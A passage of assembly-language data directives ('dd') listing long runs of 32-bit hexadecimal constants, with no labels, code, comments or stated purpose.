		dd 82F5D6E9h, 80B9F2C8h, 0F344EFF2h, 0FBED9680h, 40D8891Fh
		dd 0B7430445h, 0DA03746Fh, 0D1421CB1h, 378D1A5Ch, 3EC7C4C7h
		dd 4DC0DA36h, 4F53D9BDh, 30788A7Ah, 1E3463A8h, 5C5A1BAEh
		dd 4DB59B83h, 0A7A02F0Eh, 0F22CAh, 99218F3Ch, 40F26103h
		dd 999559h, 97B24553h, 6121C51Bh, 0B84F8438h, 0A0CA6AA2h
		dd 9E0EED82h, 0C2F5452Dh, 0ED32A1C0h, 6FC94C08h, 0E8F7B0A0h
		dd 0D6E0923h, 54635F27h, 8C801681h, 1F7278A4h, 66E90F8Eh
		dd 39C0F501h, 15A9DB55h, 347D2817h, 0BB4701EFh,	5E6E24D7h
		dd 0EADC4534h, 590E8203h, 9DAED17Bh, 4693B5EEh,	191C5CFBh
		dd 8B4ECB7Ah, 0E3EA8C43h, 548627F6h, 5B3FAAF3h,	0A12C1483h
		dd 0A7DD100Ah, 0EBE13AD1h, 89DF99BFh, 301237CCh, 67E06892h
		dd 0F9FCC943h, 80E731D1h, 0D50C06FEh, 52DF35A6h, 562490CAh
		dd 0C0EA5866h, 63AB1FF7h, 59710E07h, 32906611h,	9D79BC92h
		dd 3FE3AF3Bh, 0B23EE795h, 43B21A15h, 297981D4h,	0E189B362h
		dd 4FFD6B81h, 886F844Fh, 44EF2AABh, 0E8C9E685h,	57CA5039h
		dd 0F75A4479h, 717BCC4Dh, 0F58EA69Dh, 0EC59D4B3h, 0AD1AE31Fh
		dd 7BF45183h, 0EB9E50FCh, 0BE0A2B40h, 0E0A7A868h, 0F9440C70h
		dd 1DD2F678h, 0BB5F2A19h, 8615A694h, 8F0BC5B8h,	20266FBDh
		dd 714D76EAh, 0C83273A8h, 0DC8FC3BAh, 3AFAF5A2h, 0F5A00464h
		dd 0ED83C3F3h, 6D31625h, 0E4F25F0h, 5465DD50h, 30DB885Eh
		dd 0D31ACF93h, 781A7682h, 57123399h, 0B26B37CAh, 0F0ED84Eh
		dd 20EA88C4h, 154765F7h, 0C12A998Dh, 0D912E317h, 3E42D67Dh
		dd 2C2F642Bh, 0AE4F09FBh, 0D38E35CDh, 3EC6AF33h, 0ABB419Ch
		dd 0AAD9B82Eh, 48DB9F73h, 0DFAB76C6h, 0A09DC18Bh, 6CF7AC81h
		dd 2720D717h, 2F936AD6h, 46E3E95Ch, 6B452A94h, 5870087Bh
		dd 82EE92DDh, 0DACF8083h, 9A26AE78h, 52517EADh,	4FF76263h
		dd 74EB6471h, 50EB1EB6h, 23A5661Fh, 99F18D35h, 1B281A62h
		dd 69DF7B1h, 0FE42B0A0h, 56D44856h, 0CAFF26ABh,	0ECF43EE1h
		dd 5C96BF44h, 380F130Fh, 59763A42h, 79B56FFBh, 8AD7177Fh
		dd 0AAC22AC5h, 0CBCF4142h, 0F12D5361h, 700865F8h, 0B4B49D2Dh
		dd 50F13AA9h, 0C637846Fh, 69F2F4E1h, 68E44278h,	196E522Eh
		dd 0E8706CA4h, 3DEC4FCBh, 0FA2BEAF7h, 9B6DF825h, 82AA9A0Bh
		dd 0C70CC347h, 6DA6CE67h, 0DAEBB402h, 0B79FA205h, 0B720F6A1h
		dd 3BB5AF8Ch, 38C47ED1h, 57BCC25Fh, 0AD9007EFh,	0A3CBC239h
		dd 0ADDDAAC1h, 4B38AD21h, 0C0E9C159h, 7432C46Bh, 478E480Bh
		dd 0C69437C2h, 909A881Fh, 0B45DD5B6h, 0F117F169h, 71C8E205h
		dd 81BF67FEh, 0F586138Ah, 0C0500F58h, 5738C5D4h, 6BA4E5A0h
		dd 262D67Ch, 9291F5Dh, 9D61DE02h, 2E2F12FEh, 0BC035EB3h
		dd 0F50F6289h, 0E507AF3Dh, 0E0525A37h, 535BFF0h, 25546E9Eh
		dd 27970092h, 93807FA6h, 57C0C902h, 0DC73542Fh,	0A72499F5h
		dd 0A05F341Bh, 0D2459D02h, 0CF1F2320h, 93E8C80h, 0B4FCE62Ch
		dd 1D24947Fh, 0EAE3E7A5h, 714AED12h, 0F4099E34h, 3AC15E7h
		dd 1348499Ah, 0DB0934D5h, 4834A6A7h, 5F23A8E3h,	67F1D390h
		dd 6F6BE4B8h, 1C58FF00h, 1DF5ECFh, 0C60E01Eh, 4F56CA1Ah
		dd 0D1F82E11h, 0DC666D98h, 738EDD1Ch, 0BC9024FBh, 0C8118D01h
		dd 2762653Bh, 168C12F1h, 47EE6AF4h, 0DAF98015h,	0A9F45662h
		dd 0B81C8CC6h, 99FFB0FBh, 0D2A1BB7Ch, 0B21FA5DFh, 272E35CAh
		dd 62CE6BE8h, 6E86A34Bh, 0D6B7F047h, 0AD4C2A6Fh, 0CB85A34Dh
		dd 3C94DB59h, 8271F6F7h, 0E7AA3595h, 800AC64Eh,	14E5A5ABh
		dd 65B41E1Dh, 0E5554063h, 153018A8h, 1263E074h,	0CDAB94DAh
		dd 7DA00C92h, 6F9C2B53h, 7761EA0Bh, 5CCA60F4h, 844D8B62h
		dd 516CAC59h, 8E5CA8Ah,	0DE03E98Ah, 0D79C2BD6h,	86A83F00h
		dd 0C2FCCFC6h, 2A0B62A2h, 0FD354F7Ah, 59A18C6h,	3DA1DF09h
		dd 0C67EC984h, 3EEC00A7h, 0B033E832h, 0C64C0E6h, 0BA609440h
		dd 0CF43E7F5h, 5037D1E6h, 0DC569346h, 0A6C772F1h, 9714B5B0h
		dd 6E6F4982h, 1CDB06ACh, 69B514A4h, 0DD2381E6h,	574E7923h
		dd 5FA886B8h, 0C57182BCh, 4ED6097h, 538900EDh, 728231C5h
		dd 548060C3h, 66B8CE77h, 73A27776h, 0E6B63D56h,	81BDC69Eh
		dd 0B00914DCh, 0C3186A06h, 95273A44h, 0D2B3822Bh, 2592FB4Bh
		dd 1CE48DCDh, 9AF9F63Bh, 264C3602h, 26A66E0Bh, 4E8B249Fh
		dd 71CE0800h, 0C487E870h, 8D81606Bh, 3A3F498Ah,	87FEDCF9h
		dd 27601D38h, 1A553BADh, 9BCDD16Ah, 599B734Ah, 0ACE202EEh
		dd 0A0D68A07h, 68189C09h, 3B21BE01h, 14A2BAF3h,	0AC2815E5h
		dd 54001368h, 0BAF8D495h, 9C50CF58h, 1BE5FBA5h,	0C474A761h
		dd 0A81409F1h, 12CB6A5h, 21BC63B6h, 0B21E4B5h, 0EC033733h
		dd 51F0288Eh, 76FE34D0h, 0F6219AA7h, 0FEEBFA99h, 37BFEEC8h
		dd 91964B4Ch, 31130B55h, 1C61E77Dh, 32AE357Ch, 0CB5D5838h
		dd 0F214E61Dh, 0D186A6F9h, 0FF7D36E6h, 67CE8D9Ah, 3C588036h
		dd 0AA876C46h, 0CA35C09Dh, 4E473E4Ch, 14DA8ED5h, 752D252Ah
		dd 31C1BE75h, 0D8C857E3h, 0D902A6F2h, 0F6A43D7Ch, 0C18176C6h
		dd 8D416796h, 6A9389EBh, 0F4B3A9A6h, 5BA3D12Eh,	8354B513h
		dd 20484B5h, 0B13074A3h, 0B20BBBA0h, 1E82286h, 1F3414B0h
		dd 7F822180h, 0A7BEFE09h, 0C54A5CA5h, 7BE0C227h, 0D8F8DD7h
		dd 682C687Eh, 545744AFh, 0BEAAE150h, 59B0671Bh,	5F774F15h
		dd 2FB19E35h, 1FA42E5Ch, 0B42603B1h, 0AB71DA61h, 0B409AC64h
		dd 0F9675769h, 80C5760Dh, 25C5C587h, 0B5013658h, 45C63A2Ch
		dd 561F2128h, 662E18D2h, 0F8DF0182h, 11E62870h,	8D3DA50Bh
		dd 441C51DBh, 81D24D62h, 30D80DD8h, 8C380A28h, 0C3A47835h
		dd 345D74BCh, 222A2ACBh, 0D75C76E1h, 20D3AA55h,	656C34CDh
		dd 3463DE62h, 0F590C076h, 63E5A2ECh, 99EFA257h,	36B66D5Eh
		dd 0BF0666ABh, 0BF7B3C21h, 0B75865FCh, 5EA284C7h, 0CB020FE1h
		dd 5D4473FEh, 0D035991Eh, 0AD4F16B0h, 448E0319h, 0EE015D3Ch
		dd 0F4D27E1Bh, 34BC067h, 0E33CF116h, 0A1335F73h, 0B95B65D8h
		dd 0F7BEEAA8h, 1B09419Fh, 4099A211h, 390EE3F5h,	3ACDC863h
		dd 1FCE9CA7h, 62D5FBC0h, 0A27C74C4h, 0FA4535B2h, 3E64D353h
		dd 823A7703h, 0BC3EA65Bh, 0C472B5DDh, 21267C65h, 0F31E1AD6h
		dd 7529BAF2h, 29C45821h, 7A1710D9h, 3DF1B6DBh, 35F54F4Ah
		dd 8DCB6CC0h, 3A6C53ECh, 9193A06Bh, 67EEF44Bh, 6A220230h
		dd 185B354h, 0F7337980h, 279846FFh, 6ED80CB2h, 66F83041h
		dd 0D8ADB82Fh, 95F24F38h, 0BAEF32D2h, 66BBB510h, 0E9AC5EC9h
		dd 0E011EAE2h, 4E949679h, 0CA2A8EB6h, 44BD9752h, 2FEE478Fh
		dd 0B71DDBDAh, 68D1B3ACh
		dd 74271AFEh, 38176069h, 8DF1AEA8h, 23E034E7h, 0CED7AB6Fh
		dd 928738D2h, 0D7F0990Dh, 27460DD9h, 0D3F68A41h, 0ECD250BEh
		dd 0A6E20C1Ch, 0E7FCDF1Dh, 0A338B8BBh, 8344E5C1h, 3848A722h
		dd 0EFBF9743h, 0D70A04F7h, 1E7B40DBh, 68548FF7h, 0A438A04Bh
		dd 0DB404E68h, 0E51F8702h, 39246304h, 0AF7ECAEBh, 0F0E0A49Eh
		dd 50B322C3h, 20F1044Dh, 0B08FC078h, 0E59333AFh, 559E76A3h
		dd 0AC7B0020h, 4504543Ch, 0E3044181h, 82784B36h, 0B050AFC6h
		dd 0E241A219h, 0F0DA0240h, 3D139ECDh, 0FAD93FF2h, 0DFC7AE2h
		dd 4EF68D85h, 4B56051Dh, 74D1FB1Ah, 233FCAE5h, 0E334C20Ch
		dd 70041291h, 0B2A7FD98h, 58031D19h, 11C08949h,	7B443237h
		dd 927300EBh, 7778E408h, 0C6C6DEBAh, 8D97CD93h,	456834F3h
		dd 8BC2E072h, 78AC354Ah, 5C62ECD9h, 6C24AFE3h, 8BED933Dh
		dd 4BC5CF0Ch, 0A92433A6h, 5504D324h, 0F8D81AEBh, 1FB668FDh
		dd 8EE77F47h, 69EED8FDh, 185CE8CCh, 5CFE649h, 43EBC6DFh
		dd 0ADFE2AFBh, 214B6F45h, 0B0649CF1h, 7C2FB1F8h, 0BCFD1683h
		dd 7CED8DE8h, 0F098F90h, 0E3470DAh, 1658C80Bh, 5CA54BFBh
		dd 7BEE2FA9h, 0EBAD03A2h, 21909863h, 0E64735D9h, 0D98F5D6Bh
		dd 0DE650F44h, 3E25B487h, 4F1D6038h, 65624F99h,	0A2CD09FBh
		dd 9E050FB5h, 8A8AFE9Ah, 0A97DAE92h, 0FFDC3F6Eh, 0F2EFCB43h
		dd 447B8689h, 4BEF2510h, 0F437AC5Dh, 46D1970Ah,	0DEF6DBC2h
		dd 0D511F45Eh, 0B8F8B143h, 0B59C9CA4h, 5B2AF77Fh, 3D1B1CC0h
		dd 88688834h, 1A56C57Eh, 0F0DC0A57h, 32A891A2h,	0AB14BDh
		dd 46661E76h, 6BD8E19Fh, 5B17EA0Fh, 407F0A7h, 0F6A6F16Fh
		dd 0D4BFD41Dh, 205F89ADh, 0F91736EAh, 6E2B41BAh, 0FEC9B9C2h
		dd 0C44BE2C8h, 0BF7CBA90h, 76062F95h, 35F98641h, 0C4E8E4CCh
		dd 1178023Ah, 0A8B83388h, 4146F636h, 7B373523h,	72AA2750h
		dd 68DF0FF9h, 0F5F56524h, 7648BE7Fh, 0F26FE220h, 0E2F14E63h
		dd 2C4E168Bh, 8136188Fh, 134A275h, 0BA667F3Fh, 6582D9E6h
		dd 0E37B5AB0h, 99BD70A8h, 7F72D71Eh, 80FDE525h,	0B483019Dh
		dd 0E3CA981Ch, 62106523h, 16716603h, 37439F23h,	3D7073E6h
		dd 0AD850E92h, 27FEDE63h, 0E6C93DF9h, 99424C6Fh, 0FBB60B33h
		dd 255CA1D8h, 0DD2DC662h, 0C7F3794Fh, 25FE954Ch, 76802D0h
		dd 6440DAC9h, 15FE7FD5h, 81A20738h, 0E4E6C8A8h,	2E9BC9E3h
		dd 8D0C5A2Dh, 87356BA6h, 98975950h, 0D0B5B607h,	55E94098h
		dd 0F8C15B38h, 0CDA6640Bh, 0C06E6B6Bh, 95BCBB02h, 0CA40257Bh
		dd 0CF7FF46h, 2820B671h, 432411F0h, 1B2308D0h, 0C10222Bh
		dd 26898CA8h, 249A7B2Bh, 0F0BDFABDh, 7DD3E5A4h,	7507204Ch
		dd 265230CDh, 0E96533B4h, 6DD7F12Eh, 2108F1FCh,	7D577076h
		dd 0C472FA2Ah, 44F3A453h, 333BE61Fh, 3346754Fh,	42D15E80h
		dd 0D6D15437h, 740E6F33h, 0E2D70A58h, 0D01905D8h, 6F1754F9h
		dd 4251D8BEh, 8163C7Ah,	0CD92F5DCh, 1BAFEDCh, 28BE21D6h
		dd 241EAC62h, 9E69228Bh, 3BF1E24Dh, 24B172E1h, 475930A7h
		dd 0CC39D703h, 64385973h, 45C1A0DBh, 0E486914Eh, 6E7E8C27h
		dd 0CF1B948h, 7032FC51h, 85CE8F0h, 46BFBA0Ah, 4C398E51h
		dd 0C04914BEh, 5DEA802Eh, 6B4D86EEh, 0C2F4C6F4h, 0A9C00814h
		dd 0FA1049C9h, 3A217FFEh, 6C27E578h, 0DA039FB8h, 5F440160h
		dd 0D372497Eh, 9CFDF77Bh, 0EA8C492Ch, 0CF5527F6h, 201C98F0h
		dd 0C5BBCAA1h, 58A816E5h, 0D8A6EF42h, 1D6678FFh, 0F8FF7192h
		dd 0D064176Ah, 5CD9009Bh, 0A4F96362h, 0CB78688Ah, 0B2B2E21Ah
		dd 0E28A50E4h, 82CDE748h, 552C13D7h, 83569C63h,	6B95D2C6h
		dd 0EFCE381Ah, 0F91A56DDh, 554625A3h, 0DA393E74h, 0BFEAB95Dh
		dd 5E9D2A6Eh, 7224D4E5h, 9224939Fh, 0F2E3F7EBh,	0AB40FF7Ch
		dd 0AEFEBE3Bh, 0F7295D0h, 0C89FBBB6h, 0C686F08Ah, 6DD6029h
		dd 5F3BAFF2h, 5B4D6FF8h, 0EB386BFDh, 3AF76E62h,	493CADEBh
		dd 7D92E078h, 0E19B6CF7h, 11587E2Eh, 3B097847h,	20115761h
		dd 639D15FCh, 5F75BC79h, 94CA69E1h, 8968DA9Fh, 50A2E4D4h
		dd 0BEF7A082h, 0D11925B2h, 7A19F144h, 0D2599Ah,	537A062Fh
		dd 0C9FB52B9h, 8D014D64h, 1D86FF3Dh, 77D02252h,	2F04ABF0h
		dd 6BE72E62h, 5588485Ch, 305D978Dh, 0B8D5817Bh,	0ACD7AD8Ah
		dd 7CBA4582h, 307400B3h, 0CC4A4E11h, 8BEDE4A2h,	4D6075ADh
		dd 56B3D0F1h, 0B2AB4429h, 820C45BAh, 86E3D604h,	6A92A245h
		dd 0CA841397h, 0F925AF55h, 3F63EA91h, 0E7918E4Ch, 0D3F5DC03h
		dd 0BBD72B5Ah, 7CCB1E60h, 241E03D1h, 3FDAAF3Bh,	0A2E4B3Bh
		dd 0AC8D9680h, 2650521Eh, 0FF7C166Bh, 9D268A91h, 841174F9h
		dd 3B859201h, 0CD0F43F7h, 0A7AC1CF6h, 84B3D16Ah, 718624D0h
		dd 0F5087CE8h, 88163FBEh, 22653EC2h, 0B3E9AFABh, 0E324F1F4h
		dd 48094CC6h, 5CC41CB7h, 0D21DB957h, 8F0A892Fh,	0A57C019Ah
		dd 88EEC371h, 0F8850184h, 0BC8CF57Ah, 1E0B57D8h, 54DDE40Ch
		dd 0B8737645h, 0AA7906Fh, 0BD96CA9Dh, 861BD47Ah, 320360C0h
		dd 6BC9987Dh, 92B046A8h, 0ECCB9733h, 7CEE43BFh,	0C9C8F468h
		dd 45A8ECADh, 9C786DCAh, 0C0933A5Ah, 0E4F84E0Ch, 2F290753h
		dd 0CDE92C7Ch, 0D0274D04h, 22530533h, 7F881807h, 9F8C19C6h
		dd 0B8C3EE65h, 2162C7Dh, 0F08FAB2h, 5A24D1A4h, 4D283A72h
		dd 3B9F4AE2h, 0E510E636h, 712295F1h, 91F19FC8h,	5CD100EDh
		dd 0EAA14904h, 2F5C1F9Ah, 5261935Bh, 35347CDBh,	0BC334D98h
		dd 6D38BC63h, 0DE63BB2Eh, 0C3D18E6Ch, 4E379B38h, 0D23CE4C6h
		dd 99C39C52h, 0F2C28465h, 269167CFh, 765888D0h,	925FFF74h
		dd 594C92FEh, 49A605A5h, 39E17E32h, 0E2F237D3h,	4E6176CCh
		dd 0DEA425CEh, 0ED42B0FEh, 0CABF0BE7h, 731F07EFh, 0DF7F1C5h
		dd 85783273h, 0EC27D2D4h, 0C91E8DB8h, 6DF12451h, 124B5FBDh
		dd 0CCEC2A28h, 934CC124h, 944AECAEh, 641BA037h,	0E25EA57Dh
		dd 0B6D2013Dh, 91EADCFBh, 6B77B0Ch, 19B684Eh, 0C2D191F6h
		dd 4D16F988h, 0E92ADA5Bh, 580F2D4Dh, 2B715735h,	0AAF0CA25h
		dd 5FB0BF81h, 0C9AAAADDh, 80AA8F88h, 5D34D358h,	5E17BD28h
		dd 0C1AC0658h, 0ED11D210h, 0D0971F8Eh, 2FFAC45Ah, 26B664D5h
		dd 9EC9B47Eh, 0FA5EF7Dh, 0F79A3016h, 21DAF9E8h,	0EBD0C308h
		dd 0FB636CF7h, 0CB081CEEh, 2731A6Fh, 95F7EC8Fh,	87C42B6Eh
		dd 0EA376BF6h, 0A1C8DF42h, 5F6B9D98h, 51994F5Fh, 563AE891h
		dd 0BF21227Fh, 2658C8E7h, 423B40B4h, 4504BEC9h,	0A1044BE1h
		dd 7CB2A27h, 0B44B449Ch, 0B861BA12h, 0F1BE1281h, 3E6879C8h
		dd 19C15941h, 0B371363Ch, 14ECAD0Bh, 463DC27Ch,	65E8E3E0h
		dd 0F489BBBh, 6559850Ch, 0F0EDB423h, 0AA7C64CAh, 83FD907Ah
		dd 10CC71BDh, 8CA05C1h,	6E70E693h, 0CDE58538h, 12EEAF93h
		dd 75315C9Bh, 0A9BF850Eh, 0FDFB0F4Fh, 96B8A9CEh, 0A378757Ah
		dd 0AC93FE5Dh, 25D609CCh, 949C1825h, 9F433EDAh,	0A9C66A43h
		dd 0F34977E0h, 0EF6042A5h, 338948F5h, 0FB5C400Dh, 316F48E0h
		dd 0DA42286Ah, 6A45CAABh, 8A8FBBF0h, 949999F9h,	4D22040Bh
		dd 0CA5256C9h, 0E25B0803h, 0B2AA0BCCh, 67410E93h, 58E0B72Eh
		dd 56459EF7h, 0B8855E33h, 176E1E95h, 0E2635A2h,	0BD71DBE3h
		dd 7A3E0E09h, 0C801384Eh, 53EF7E9h, 23BF5B9Ah, 0AC245160h
		dd 0EBDE9781h, 0EE501C3Fh, 89D61835h, 84674E26h, 9CCEDC41h
		dd 65E891B6h, 8B08A6F6h, 29BC6A48h, 0FD326AAh, 79A911C2h
		dd 0BC3C41F7h, 0F10C37EFh
		dd 5666B099h, 0ECC60C3Eh, 1D32D36Bh, 6BA7632Ah,	0F806154Dh
		dd 0F2EA686Fh, 5DAB4C70h, 0E132DF4Ch, 0FB3D2B85h, 9DA72CE1h
		dd 2DE0192Ah, 19F4D3EFh, 924CF717h, 0FF19EB88h,	0FA02CEEAh
		dd 0D544F151h, 6145DCE1h, 0C585C70Bh, 4CE6D3DFh, 39327DB8h
		dd 524DB11Fh, 0FF88944Dh, 85A58EE1h, 81A10736h,	0D8B82951h
		dd 611C2FDh, 6A0EC194h,	26A1A748h, 0A925B8C1h, 0DE386BE3h
		dd 4C76A65h, 0A47B592Fh, 52F1321Eh, 445BDA5Eh, 89311D88h
		dd 0E5F28D7h, 7853CA8Ch, 0B88EFFA3h, 0E7BDA190h, 0AE6375EEh
		dd 5BFF9925h, 60679B8Ch, 18F085FFh, 0A32FA464h,	0F5F61DFDh
		dd 7AEFE438h, 5D59FD79h, 69CAE702h, 0DFAE02Ah, 92A7DA32h
		dd 8ABA4844h, 0B749C35h, 0EE6D47C0h, 0FB761632h, 782BA9AEh
		dd 0ECF7ACC1h, 0D01E4CFBh, 0C53A429Ah, 9B41E927h, 3EA007DBh
		dd 0ECCBA719h, 0E769C0C1h, 76F5156Ah, 0B38A1867h, 3FF2F2F4h
		dd 0ED01210Dh, 0BFE42B54h, 25D0426Fh, 1F0E7B38h, 0C6DE010Eh
		dd 923AF7A3h, 23AF84BAh, 0B84C18FAh, 96D7BD30h,	785482B8h
		dd 2765ED91h, 8EB552ACh, 5B41D01Dh, 3F58F95h, 1E81DE14h
		dd 9571853Ch, 52D71214h, 342FA94Bh, 4439C769h, 195968D1h
		dd 30ECFC0Eh, 3617E4F8h, 2D011A72h, 7BAA72BFh, 7A00CE9Eh
		dd 0AC89FC7h, 4D9496EAh, 8BBD140h, 77575E83h, 606B07A7h
		dd 0DA927942h, 0B04C0CD6h, 0A9F853B3h, 0E132328h, 4D1EDBA9h
		dd 942248C6h, 64FF6F1h,	0D4A55F1Dh, 494D04E8h, 94791945h
		dd 0B640B54Dh, 0E4E91732h, 68929012h, 9CA42AD0h, 0AB3BF1A2h
		dd 0D2C305CDh, 3A0369DBh, 0DDF412Fh, 4723FE32h,	684C73F6h
		dd 576B862Dh, 0DA488047h, 0E919FE2Ch, 722F1DDDh, 0C514165Ch
		dd 5FA85F67h, 0C6821C66h, 0B3A2EDCDh, 0ECAED96Ch, 0BD06DC70h
		dd 15EADE56h, 3F1A0471h, 4966845Ah, 4656977Fh, 0C90E0E47h
		dd 9BFCD525h, 711FCE0Ch, 0C7BE827Ch, 19668F1Fh,	3390B2B9h
		dd 5FFB29E8h, 0F4DEACA3h, 0EE8FA3C3h, 0A40BB663h, 23F214BAh
		dd 4E88B94Ah, 0F12AA7EDh, 9706A1E0h, 6AAFA1Bh, 1FAB4A25h
		dd 37912E73h, 0C4AA65B5h, 716AF7ABh, 0EEAF220Eh, 0DA5BECFDh
		dd 0ECA23977h, 0F7570845h, 9F32F12Fh, 1D7BB73Eh, 3FFC2302h
		dd 0BE371A09h, 9D81B013h, 0C08DCAFh, 1F0BEA7h, 64E1BC18h
		dd 3BB3AAE3h, 0D228D041h, 0E1A9FDBFh, 3F67C25Ah, 0F45510FDh
		dd 7AD8986Bh, 0E71C8830h, 0B77394E3h, 0CE13E07Fh, 12A8BF7Ch
		dd 0D40F51A8h, 895A655Eh, 784A8ED2h, 0E01AD56Ah, 7B0F0792h
		dd 0C1137670h, 0D1BFCF00h, 5B0C58FCh, 9751BED4h, 92AD878Dh
		dd 3A412276h, 0E2BA3330h, 2A8BB8D5h, 5D8787BCh,	9EFA5CB9h
		dd 4C93D389h, 0AF97E245h, 1ADD2C27h, 157D9841h,	869FFD5Fh
		dd 0FA9D4308h, 0FF0BA5B6h, 0F28ACD31h, 73AA020Dh, 70D55DE9h
		dd 228A82DEh, 1D9F5466h, 602E8F4Ch, 7655D230h, 2EBFF205h
		dd 0F73D2E0Ah, 29D4A70Ch, 8CFC58EBh, 0E8106675h, 0DE7A570Bh
		dd 15C9E5D7h, 4591EC44h, 7002F41Ch, 3D259E37h, 66CCC69Ah
		dd 0C1C6F93Ch, 21748D35h, 0C820796Bh, 1B166700h, 884789CFh
		dd 6120C8E9h, 0A859654Eh, 85847870h, 0A6D32670h, 0FDB1D0F9h
		dd 0DB059C89h, 7027746Dh, 0D44B6FF1h, 40B7D764h, 9DC53EB7h
		dd 0EA5A6F6Fh, 1B8AB6D2h, 0F763C706h, 0FF69F588h, 0EF1CE5CFh
		dd 77555155h, 4B80C3EAh, 15F079FDh, 0FD576FD3h,	0CB47D0A1h
		dd 0F8598AB3h, 0B31D5905h, 92CA1CFAh, 0D1E68693h, 0F77F48F0h
		dd 595BA898h, 2C51E64Ah, 6006E7BEh, 5C69B32Fh, 5BCEF39Dh
		dd 9D75767Ch, 87F576C7h, 0F2D117F8h, 0E3D790BBh, 85124094h
		dd 611F4C06h, 0EBD32213h, 8C0A4458h, 0AEFB9429h, 426A5513h
		dd 70EB2073h, 47F23B62h, 0EBF19C28h, 0B8C257Ah,	0CB5F9621h
		dd 81D6AB31h, 3F007013h, 0AA55E8B3h, 97E9C256h,	0D0F72B05h
		dd 105B790Ah, 0E76E8A4Ah, 72A48FF7h, 0C664CDF8h, 0E8FBBA76h
		dd 5E176C91h, 124D31E8h, 31CD25CDh, 0B0B031BFh,	0B963CDC0h
		dd 0A49D4C79h, 0CC2ABBC4h, 0A6D561D4h, 26F8B780h, 9D04F66Fh
		dd 756C6A6Fh, 0D26FBA34h, 0CFEC8455h, 0ED8593DDh, 0CC952D89h
		dd 3A75A43Eh, 69FA0F21h, 2C382E24h, 34E69B12h, 9589FB87h
		dd 333C14D0h, 0F83B74E0h, 34B8ADECh, 0DE368349h, 4617E0DBh
		dd 0B0785BBEh, 0F62245D2h, 9FF6398Ah, 6F3C7F7Ch, 0AB613EDBh
		dd 5D4DD2B8h, 5BFFF38Fh, 0FED0BE13h, 0F134A364h, 3FA55AE0h
		dd 0ADA1EA09h, 427A270Ah, 0A1E967EBh, 4FE8539Ch, 52DF2922h
		dd 0A517B5FDh, 0BE206F95h, 9ABF2CABh, 104E43F7h, 0CE80BAC2h
		dd 2FDE8BA6h, 5247AD2Eh, 277D1E68h, 3793F0E1h, 71AAFC64h
		dd 1A1CCBEFh, 208D1B4Bh, 0C3D5A557h, 83DED109h,	0D1DF3F0Eh
		dd 84D1FD2Eh, 0F40FD490h, 6F10E059h, 0D07C5BF6h, 1FFA88A7h
		dd 0F450CD8Ah, 4D0A0599h, 0F52EAD3Ch, 1225EEACh, 529FCB4Fh
		dd 0C0954051h, 9120F4F1h, 0BC10A1F5h, 8FB62277h, 382B8B34h
		dd 0C936F638h, 63DF8E72h, 9898E100h, 0F5D219B3h, 492B9946h
		dd 21BE1374h, 0AB575782h, 9798F3F9h, 99B24C1h, 36CEAEB4h
		dd 0CFE8CBFh, 55CC0B9Eh, 0CD45D72Bh, 3E9ADAFBh,	69D5CA4Ah
		dd 0C5E12BB6h, 4B16DABAh, 33F52D38h, 0C2E7236Dh, 8DFDDF55h
		dd 8BDB22DFh, 0AAAE784Bh, 5E79A09Bh, 0A428C955h, 0B4C580AEh
		dd 2B3CED11h, 0C901F256h, 721A6A14h, 258A594Ch,	4F0E1CACh
		dd 8A02D09Ch, 0C5CC3D27h, 82AB9403h, 0A3AC260Ah, 1A1D3597h
		dd 24F07FC7h, 217E43D9h, 0A7CCEEBFh, 10E1F0BBh,	8ED2237Bh
		dd 0F8AC8A45h, 212B00A7h, 0B366D185h, 0EBB9F229h, 0EA056377h
		dd 0FEEE6F5h, 86AEDD1Ah, 0EEB867F1h, 0E1575B88h, 0EFC9865Bh
		dd 0A1375AAh, 90EC0486h, 52BA3198h, 50569002h, 824D4433h
		dd 266CE1F3h, 0CE3F0F02h, 1360D900h, 7E8D37A6h,	7F62C5EDh
		dd 65D13002h, 0DCA58F08h, 0C7454C5Dh, 5D6EB08h,	0D8736795h
		dd 2252DBE3h, 1E41F2CFh, 84ADCE69h, 0D982F3C3h,	8C63262Ch
		dd 0E721FA8Ah, 0D0AB7FFDh, 0D6FC3E18h, 82A54FDDh, 42B22742h
		dd 9FA93160h, 4B63C011h, 12980641h, 62CC5F0h, 0E9C54E78h
		dd 2A3BC759h, 4E88EC29h, 6EF4F8BFh, 0D4372C3Bh,	1AB4C6C5h
		dd 65EAB3E5h, 165FACEFh, 0F1E275FBh, 4707CC7Ah,	577130ECh
		dd 0E7CF2F3Fh, 576CF10Bh, 95DACA57h, 0A9C18414h, 3E927A67h
		dd 896CB95Ch, 0B7FD36F9h, 6C452197h, 7D34FC13h,	0F9C6F0D5h
		dd 76730722h, 0A70C893Eh, 0A2D1F828h, 0AC3FA6F4h, 0F5ED0E1Bh
		dd 28DBF796h, 0B60F46A8h, 49EDE07Bh, 61BE38A1h,	8C3331D8h
		dd 1A226DF7h, 0C47CEDDCh, 1519A378h, 842DF8F5h,	92D1CDF0h
		dd 0CD6B1FBEh, 0DCC056F9h, 0AF547FC2h, 60200789h, 128C368Bh
		dd 0D82EEF59h, 2C617639h, 0B720088Dh, 0A60F1436h, 5EE82F97h
		dd 74DA7037h, 120B0A87h, 445DA3F1h, 0D584C1FCh,	8C344490h
		dd 33597E11h, 97E6BF42h, 6BA59379h, 0F7643A52h,	0F86809A8h
		dd 0B06F3DB2h, 5CBF7FF4h, 3F35DC32h, 0B750C7FCh, 1147F563h
		dd 0FCBC3817h, 65B95AC0h, 0C630C3B2h, 179AA234h, 0DB42645Ah
		dd 0C1F6717Ah, 2CA91DA4h, 89D74082h, 0B668CD32h, 7FA4915Bh
		dd 0F8381EA0h, 29C275D1h, 820C8263h, 0F1C42178h, 0D01B4A32h
		dd 81EF1144h, 0E48DF4CAh, 0CE7729B2h, 0D9A75FABh, 1E9D83CFh
		dd 60CDD6C8h, 79B089Ch,	55E13723h, 0AFC6C994h, 0B8502CA9h
		dd 82ECA98Fh, 9CE36B83h, 6A86FD99h, 214AD521h, 6FB1118Ah
		dd 2ADC50C0h, 0E0EBAF7Dh
		dd 2DE3E41Fh, 0EF6A0FA5h, 0D512FEB0h, 0B404BB7h, 4512AE0Eh
		dd 6AC3D443h, 0C732C48Ah, 2E5B4CF6h, 39530C45h,	33D7B9A6h
		dd 0A809AD66h, 818C1A85h, 0DB923BDAh, 374E5F4Fh, 0A2641715h
		dd 0F72F8378h, 0AF73901Ch, 462B648h, 7EE2F1D8h,	54926891h
		dd 0C168298Ah, 3CA76839h, 0C6698271h, 0C4EFF221h, 0CD245487h
		dd 8433D4DBh, 7D58CD5Ah, 43181D64h, 9D813D7h, 0AE03292Fh
